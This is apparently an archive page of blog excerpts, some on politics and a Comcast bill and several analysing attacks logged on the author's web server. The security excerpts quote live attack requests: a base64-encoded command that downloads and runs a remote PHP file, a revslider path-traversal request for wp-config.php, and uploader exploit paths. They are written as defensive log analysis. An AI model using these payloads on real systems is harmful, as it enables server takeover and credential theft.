Long ago I signed up for email from the Family Research Council (FRC) under a nom de rude (h/t The Rude Pundit). Once or twice a week I receive an email from them. Today’s begging for dollars email warmed my heart. I learned that even with a $500K “matching” donation from someone they’ve still only managed to raise $1.3M of their $2.5M goal. The deadline for raising another $1.2M is tonight.

I’ve only seen this attack twice in the past six months (as far back as I keep logs). The first was on 2015-09-15 from domain qs.biz in Russia (RU). The most recent was today, 2015-09-24, from gigaboxhosting.net in US. This was the request: POST /admin/Cms_Wysiwyg/directive/index/ HTTP/1.1 Host: www.skepticism.us User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .

This has been quite a week for novel attacks. Prior to the past few days it seemed like nearly 100% of the attacks I observed against my server fell into just a couple of categories: credential guessing via /xmlrpc.php or /wp-login.php, and attempts to exploit WordPress plugin “revslider” vulnerabilities to install malware to my server. Today’s entry in the new and unusual category is from a server in the US in the colocrossing.

I wrote about the fact that I missed my initial payment because Comcast did not email my bill to the address I gave the installer and who assured me would be used for all emails from Comcast. When I received a phone call from Comcast telling me my account was past due two months after the installation I immediately paid via a credit card. So imagine my surprise today when I received an email from Comcast telling me my bill would be $5.

I saw another novel attack today. What makes this one particularly interesting is that the first request was an attempt to upload a file named /wp-infos.php. It did so via a POST /controllers/uploader/upload.php request. That path might be an alternate for the ninja uploader vulnerability I wrote about yesterday. The attacker then issued a GET /wp-infos.php?osc=cm0gLXJmIHp1Yi4qOyBybSAtcmYgbWFyaW5hYnkqOyB3Z2V0IGh0dHA6Ly93d3cuYWVzbWkucHQvbW9vZGxlL2NhbGVuZGFyL3dwLWVuZ2luZS5id2U7IG12IHdwLWVuZ2luZS5id2UgenViLnBocDsgY2htb2QgNzc3IHp1Yi5waHA7IHBocCB6dWIucGhwOyBybSAtcmYgenViLio= The value for the osc parameter is base64 encoded and decodes to:

I’ve been using the Apache mod_dumpio module for almost as long as I’ve been blogging to capture all of the data received by my web server. Doing so is expensive but very useful for analyzing attacks. What I did not realize until today is that mod_dumpio drops (i.e., omits) nul (i.e., null or zero) bytes in the input when it writes that data to the Apache error log. Looking at the lines written by mod_dumpio in the Apache error log you’ll find plenty of strings such as “\x03” but no instances of “\x00“.

Looking at my web server logs I noticed a new attack signature: POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1 With user-agent libwww-perl/5.808 Note that my server was not infected because I use Apache mod_rewrite rules to reject malformed requests. In this case my rule against consecutive slashes caught the attack: # A surprising amount of malware sends URIs with two leading slashes. While # technically not illegal it is an extremely strong malware signal.

Update 2015-02-23: I saw the second instance of the attack described below from domain cyberneticos.com in Spain (ES) just 2.5 days after the first attack. Yesterday, I saw a novel attack from 173.205.124.194 at domain inmotionhosting.com in the US. The malware made the following HTTP requests: POST /2015/05/26//wp-indeks.php HTTP/1.1 POST //wp-indeks.php HTTP/1.1 POST /2015/05/26//wp-content.php?x0x HTTP/1.1 POST //wp-content.php?x0x HTTP/1.1 Each request had the same 255,782 byte payload that looks like (from the last attack listed above):

This afternoon my web server was attacked by a server owned by lunarpages.com. I sent an email to their abuse address, hostmaster@lunarpages.com, as listed in their WhoIs data. My abuse report did not bounce but I did get the following reply: Subject: Domain Name Not Hosted Your message with the subject attack on my system from 67.210.104.80: HTTP 400 (probe-for-revslider-plugin) for GET /2015/05/new-malware-user-agent-value-jorgee/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php was not processed by our system, because we aren't hosting any of the email addresses it was addressed to: hostmaster@lunarpages.

You’ve got to read this article at TruthDig and watch the video contained within it. Unless someone is creating a safety problem there is no justification for harassing someone for jaywalking. This incident reminds me of the arrest of 9th grade student Ahmed Mohamed for bringing a digital clock he created to school that I wrote about since it incensed me enough to send an email to the Irving, TX police department.